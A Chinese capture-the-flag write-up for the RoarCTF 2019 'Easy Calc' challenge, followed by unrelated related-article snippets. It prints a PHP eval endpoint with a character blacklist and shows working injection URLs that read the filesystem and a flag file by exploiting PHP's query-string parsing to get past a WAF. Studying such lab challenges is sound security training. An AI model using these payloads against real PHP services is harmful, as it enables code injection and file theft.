BUU17 [RoarCTF 2019]Easy Calc1

server/2025/2/8 9:49:49/

自用

源代码

$('#calc').submit(function(){$.ajax({url:"calc.php?num="+encodeURIComponent($("#content").val()),type:'GET',success:function(data){$("#result").html(`<div class="alert alert-success"><strong>答案:</strong>${data}</div>`);},error:function(){alert("这啥?算不来!");}})return false;})

代码解释

代码语言涉及: jQuery,AJAX

表单提交事件绑定

$('#calc').submit(function(){// ...return false;
});
  • $('#calc'):使用 jQuery 选择器选中 ID 为 calc 的表单元素。
  • .submit():为表单元素绑定提交事件,当表单提交时会触发传入的回调函数。
  • return false;:阻止表单的默认提交行为,防止页面刷新。

  AJAX 请求

$.ajax({url: "calc.php?num=" + encodeURIComponent($("#content").val()),type: 'GET',success: function(data) {// ...},error: function() {// ...}
});
  1. $.ajax():jQuery 提供的用于发起 AJAX 请求的函数,接受一个配置对象作为参数。
  2. url:请求的 URL,这里将 ID 为 content 的输入框中的值进行编码后作为 num 参数添加到 calc.php 的 URL 后面。encodeURIComponent() 函数用于对特殊字符进行编码,确保参数传递的正确性。
  3. type:请求的类型,这里使用 GET 请求。
  4. success:请求成功时的回调函数,data 参数表示服务器返回的数据。
  5. error:请求失败时的回调函数。

成功回调函数 

success: function(data) {$("#result").html(`<div class="alert alert-success"><strong>答案:</strong>${data}</div>`);
}
  • $("#result"):使用 jQuery 选择器选中 ID 为 result 的元素。
  • .html():将指定的 HTML 内容插入到选中元素中。这里使用了模板字符串(ES6 特性)将服务器返回的结果 data 插入到一个带有 alert alert-success 类的 div 元素中

错误回调函数  

error: function() {alert("这啥?算不来!");
}

做法

看见源代码中有calc.php,访问得到源码

<?php
error_reporting(0);
if(!isset($_GET['num'])){show_source(__FILE__);
}else{$str = $_GET['num'];$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $str)) {die("what are you want to do?");}}eval('echo '.$str.';');
}
?>

用system()或者exec()执行?

不行--在 phpinfo 中可以发现 system、exec 这一类命令执行的函数被禁用了

我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:

/news.php?%20news[id%00=42"+AND+1=0–

上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。

HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

1.删除空白符

2.将某些字符转换为下划线(包括空格)

 显示用var_dump()或print_r(),当前目录用scandir(),屏蔽/可用chr(47)代替,查看文件用file_get_content()highlight_file()

http://node5.buuoj.cn:25688/calc.php/calc.php/?%20num=print_r(scandir(chr(47)))

发现f1agg文件

查看文件用file_get_content()或者highlight_file()

http://node5.buuoj.cn:25688/calc.php/calc.php/?%20num=print_r(file_get_contents(chr(47).f1agg))

 参考文章:[RoarCTF 2019]Easy Calc_[roarctf 2019]easy calc 1-CSDN博客

利用PHP的字符串解析特性Bypass - FreeBuf网络安全行业门户

【BUUCTF】[RoarCTF 2019]Easy Calc1_[roarctf 2019]easy calc 1-CSDN博客


http://www.ppmy.cn/server/165912.html

相关文章

容器启动时报ssl错误解决办法

容器启动应用时报ssl链接错误时 在源代码中将数据库连接修改 因为容器启动时写的链接数据库位一个容器名&#xff0c;运行是系统理解为域名&#xff0c;域名就会识别进行ssl安全认证&#xff0c;如果链接信息中写上&useSSLfalse 即表示关闭ssl认证

Linux进程间通信:匿名管道与命名管道的详解

目录 1. 进程间通信 1.1 为何需要 1.2 核心原理 1.3 种类 2. 匿名管道 2.1 指令 2.2 原理 2.3 系统调用 2.4 使用情况 2.5 特性 3. 命名管道 3.1 指令 3.2 原理 3.3 函数接口 ​编辑 3.4 CS模式通信 3.4.1 公共端 服务端 客户端 3.4.2 服务端与客户端主函数 …

matlab simulink 模拟光伏电池板在不同光照下的输出功率曲线

1、内容简介 略 matlab simulink 112-模拟光伏电池板在不同光照下的输出功率曲线可以交流、咨询、答疑 2、内容说明 略 3、仿真分析 略 4、参考论文 略

小型分布式发电项目优化设计方案

一、项目背景与目标 在能源转型的大趋势下&#xff0c;小型分布式发电项目凭借其高效、灵活等优势&#xff0c;成为满足特定区域用电需求的重要方式。本项目选址于[具体地点]&#xff0c;此地年均日照时长可观&#xff0c;具备良好的太阳能资源开发潜力。项目旨在构建一个稳定…

elementui:el-table支持搜索、切换分页多选功能,以及数据回显

1、el-table相关代码&#xff0c;需注意:row-key"(row) > { return row.id }" 以及 :reserve-selection"true" <div class"boxList"><div class"search-form"><!-- 搜索表单 --><el-form :inline"true&q…

论文解读 | NeurIPS'24 Spotlight ChronoMagic-Bench 评估文本到视频生成的质变幅度评估基准...

点击蓝字 关注我们 AI TIME欢迎每一位AI爱好者的加入&#xff01; 点击 阅读原文 观看作者讲解回放&#xff01; 作者简介 袁盛海&#xff0c;北京大学硕士一年级学生 内容简介 本文提出了一种新颖的文本到视频&#xff08;T2V&#xff09;生成基准ChronoMagic-Bench&#xff0…

【Python】第七弹---Python基础进阶:深入字典操作与文件处理技巧

✨个人主页&#xff1a; 熬夜学编程的小林 &#x1f497;系列专栏&#xff1a; 【C语言详解】 【数据结构详解】【C详解】【Linux系统编程】【MySQL】【Python】 目录 1、字典 1.1、字典是什么 1.2、创建字典 1.3、查找 key 1.4、新增/修改元素 1.5、删除元素 1.6、遍历…

比节流防抖更优的选择(特定情况)

在这里以react、shadcn为例&#xff0c;此处例子展示的特定情况为&#xff1a;删除按钮 disableduseState禁用 以下代码的设置可以保证按钮点击后立即禁用 const [isRemoving,setIsRemoving] useState(false); <AlertDialogActiondisabled{isRemoving}//默认可点击onCli…